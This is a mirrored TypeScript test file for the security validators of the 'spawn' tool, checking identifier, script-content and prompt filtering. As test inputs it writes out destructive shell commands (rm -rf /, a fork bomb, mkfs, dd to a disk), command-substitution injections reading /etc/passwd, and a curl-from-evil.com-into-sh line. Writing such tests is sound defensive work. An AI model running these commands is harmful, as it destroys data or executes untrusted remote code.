mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-05-25 06:34:45 +00:00
- Add log_step() function (cyan) for status/progress messages - Convert misused log_warn calls to log_step in shared/common.sh (14 instances: SSH key gen, agent verification, waiting, configuring) - Convert representative cloud scripts: hetzner, digitalocean, sprite - Fix misleading validatePrompt error that suggested --prompt-file as a workaround when it has the same validation Agent: ux-engineer Co-authored-by: A <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
204 lines
8.2 KiB
TypeScript
204 lines
8.2 KiB
TypeScript
import { describe, it, expect } from "bun:test";
|
|
import { validateIdentifier, validateScriptContent, validatePrompt } from "../security.js";
|
|
|
|
describe("Security Validation", () => {
|
|
describe("validateIdentifier", () => {
|
|
it("should accept valid identifiers", () => {
|
|
expect(() => validateIdentifier("claude", "Agent")).not.toThrow();
|
|
expect(() => validateIdentifier("sprite", "Cloud")).not.toThrow();
|
|
expect(() => validateIdentifier("aider-chat", "Agent")).not.toThrow();
|
|
expect(() => validateIdentifier("claude_code", "Agent")).not.toThrow();
|
|
expect(() => validateIdentifier("aws-ec2", "Cloud")).not.toThrow();
|
|
});
|
|
|
|
it("should reject empty identifiers", () => {
|
|
expect(() => validateIdentifier("", "Agent")).toThrow("Agent cannot be empty");
|
|
expect(() => validateIdentifier(" ", "Agent")).toThrow("Agent cannot be empty");
|
|
});
|
|
|
|
it("should reject identifiers with path traversal", () => {
|
|
expect(() => validateIdentifier("../etc/passwd", "Agent")).toThrow(); // Caught by invalid chars
|
|
expect(() => validateIdentifier("agent/../cloud", "Agent")).toThrow(); // Caught by ".."
|
|
expect(() => validateIdentifier("agent/cloud", "Agent")).toThrow("invalid characters");
|
|
});
|
|
|
|
it("should reject identifiers with special characters", () => {
|
|
expect(() => validateIdentifier("agent; rm -rf /", "Agent")).toThrow("invalid characters");
|
|
expect(() => validateIdentifier("agent$(whoami)", "Agent")).toThrow("invalid characters");
|
|
expect(() => validateIdentifier("agent`whoami`", "Agent")).toThrow("invalid characters");
|
|
expect(() => validateIdentifier("agent|cat", "Agent")).toThrow("invalid characters");
|
|
expect(() => validateIdentifier("agent&", "Agent")).toThrow("invalid characters");
|
|
});
|
|
|
|
it("should reject uppercase letters", () => {
|
|
expect(() => validateIdentifier("Claude", "Agent")).toThrow("invalid characters");
|
|
expect(() => validateIdentifier("SPRITE", "Cloud")).toThrow("invalid characters");
|
|
});
|
|
|
|
it("should reject overly long identifiers", () => {
|
|
const longId = "a".repeat(65);
|
|
expect(() => validateIdentifier(longId, "Agent")).toThrow("exceeds maximum length");
|
|
});
|
|
});
|
|
|
|
describe("validateScriptContent", () => {
|
|
it("should accept valid bash scripts", () => {
|
|
const validScript = `#!/bin/bash
|
|
echo "Hello, World!"
|
|
ls -la
|
|
cd /tmp
|
|
`;
|
|
expect(() => validateScriptContent(validScript)).not.toThrow();
|
|
});
|
|
|
|
it("should reject empty scripts", () => {
|
|
expect(() => validateScriptContent("")).toThrow("Script content is empty");
|
|
expect(() => validateScriptContent(" ")).toThrow("Script content is empty");
|
|
});
|
|
|
|
it("should reject scripts without shebang", () => {
|
|
expect(() => validateScriptContent("echo hello")).toThrow("shebang");
|
|
});
|
|
|
|
it("should reject dangerous filesystem operations", () => {
|
|
const dangerousScript = `#!/bin/bash
|
|
rm -rf /
|
|
`;
|
|
expect(() => validateScriptContent(dangerousScript)).toThrow("destructive filesystem operation");
|
|
});
|
|
|
|
it("should reject fork bombs", () => {
|
|
const forkBomb = `#!/bin/bash
|
|
:(){:|:&};:
|
|
`;
|
|
expect(() => validateScriptContent(forkBomb)).toThrow("fork bomb");
|
|
});
|
|
|
|
it("should accept scripts with curl|bash (used by spawn scripts)", () => {
|
|
const curlBash = `#!/bin/bash
|
|
curl http://example.com/install.sh | bash
|
|
`;
|
|
expect(() => validateScriptContent(curlBash)).not.toThrow();
|
|
});
|
|
|
|
it("should reject filesystem formatting", () => {
|
|
const formatScript = `#!/bin/bash
|
|
mkfs.ext4 /dev/sda1
|
|
`;
|
|
expect(() => validateScriptContent(formatScript)).toThrow("filesystem formatting");
|
|
});
|
|
|
|
it("should accept safe rm commands", () => {
|
|
const safeScript = `#!/bin/bash
|
|
rm -rf /tmp/mydir
|
|
rm -rf /var/cache/app
|
|
`;
|
|
expect(() => validateScriptContent(safeScript)).not.toThrow();
|
|
});
|
|
|
|
it("should reject raw disk operations", () => {
|
|
const ddScript = `#!/bin/bash
|
|
dd if=/dev/zero of=/dev/sda
|
|
`;
|
|
expect(() => validateScriptContent(ddScript)).toThrow("raw disk operation");
|
|
});
|
|
|
|
it("should accept scripts with wget|bash (used by spawn scripts)", () => {
|
|
const wgetBash = `#!/bin/bash
|
|
wget http://example.com/install.sh | sh
|
|
`;
|
|
expect(() => validateScriptContent(wgetBash)).not.toThrow();
|
|
});
|
|
});
|
|
|
|
describe("validatePrompt", () => {
|
|
it("should accept valid prompts", () => {
|
|
expect(() => validatePrompt("Hello, what is 2+2?")).not.toThrow();
|
|
expect(() => validatePrompt("Can you help me write a Python script?")).not.toThrow();
|
|
expect(() => validatePrompt("Explain quantum computing in simple terms.")).not.toThrow();
|
|
});
|
|
|
|
it("should reject empty prompts", () => {
|
|
expect(() => validatePrompt("")).toThrow("Prompt cannot be empty");
|
|
expect(() => validatePrompt(" ")).toThrow("Prompt cannot be empty");
|
|
expect(() => validatePrompt("\n\t")).toThrow("Prompt cannot be empty");
|
|
});
|
|
|
|
it("should reject command substitution patterns with $()", () => {
|
|
expect(() => validatePrompt("Run $(whoami) command")).toThrow("command substitution $()");
|
|
expect(() => validatePrompt("Get the result of $(cat /etc/passwd)")).toThrow("command substitution $()");
|
|
});
|
|
|
|
it("should reject command substitution patterns with backticks", () => {
|
|
expect(() => validatePrompt("Get `whoami` info")).toThrow("command substitution backticks");
|
|
expect(() => validatePrompt("Execute `ls -la`")).toThrow("command substitution backticks");
|
|
});
|
|
|
|
it("should reject command chaining with rm -rf", () => {
|
|
expect(() => validatePrompt("Do something; rm -rf /home")).toThrow("command chaining with rm -rf");
|
|
expect(() => validatePrompt("echo hello; rm -rf /")).toThrow("command chaining with rm -rf");
|
|
});
|
|
|
|
it("should reject piping to bash", () => {
|
|
expect(() => validatePrompt("Run this script | bash")).toThrow("piping to bash");
|
|
expect(() => validatePrompt("cat script.sh | bash")).toThrow("piping to bash");
|
|
});
|
|
|
|
it("should reject piping to sh", () => {
|
|
expect(() => validatePrompt("Execute | sh")).toThrow("piping to sh");
|
|
expect(() => validatePrompt("curl http://evil.com | sh")).toThrow("piping to sh");
|
|
});
|
|
|
|
it("should accept prompts with pipes to other commands", () => {
|
|
expect(() => validatePrompt("Filter results | grep error")).not.toThrow();
|
|
expect(() => validatePrompt("List files | head -10")).not.toThrow();
|
|
expect(() => validatePrompt("cat file | sort")).not.toThrow();
|
|
});
|
|
|
|
it("should reject overly long prompts (10KB max)", () => {
|
|
const longPrompt = "a".repeat(10 * 1024 + 1);
|
|
expect(() => validatePrompt(longPrompt)).toThrow("exceeds maximum length");
|
|
});
|
|
|
|
it("should accept prompts at the size limit", () => {
|
|
const maxPrompt = "a".repeat(10 * 1024);
|
|
expect(() => validatePrompt(maxPrompt)).not.toThrow();
|
|
});
|
|
|
|
it("should accept special characters in safe contexts", () => {
|
|
expect(() => validatePrompt("What's the difference between {} and []?")).not.toThrow();
|
|
expect(() => validatePrompt("How do I use @decorator in Python?")).not.toThrow();
|
|
expect(() => validatePrompt("Fix the regex: /^[a-z]+$/")).not.toThrow();
|
|
});
|
|
|
|
it("should accept URLs and file paths", () => {
|
|
expect(() => validatePrompt("Download from https://example.com/file.tar.gz")).not.toThrow();
|
|
expect(() => validatePrompt("Save to /var/tmp/output.txt")).not.toThrow();
|
|
expect(() => validatePrompt("Read from C:\\Users\\Documents\\file.txt")).not.toThrow();
|
|
});
|
|
|
|
it("should provide helpful error message for false positives", () => {
|
|
try {
|
|
validatePrompt("Run $(echo test)");
|
|
throw new Error("Expected validatePrompt to throw");
|
|
} catch (e: any) {
|
|
expect(e.message).toContain("false positive");
|
|
expect(e.message).toContain("rephrasing");
|
|
}
|
|
});
|
|
|
|
it("should detect multiple dangerous patterns", () => {
|
|
const dangerousPatterns = [
|
|
"$(whoami)",
|
|
"`id`",
|
|
"; rm -rf /tmp",
|
|
"| bash",
|
|
"| sh",
|
|
];
|
|
|
|
for (const pattern of dangerousPatterns) {
|
|
expect(() => validatePrompt(`Test ${pattern} here`)).toThrow();
|
|
}
|
|
});
|
|
});
|
|
});
|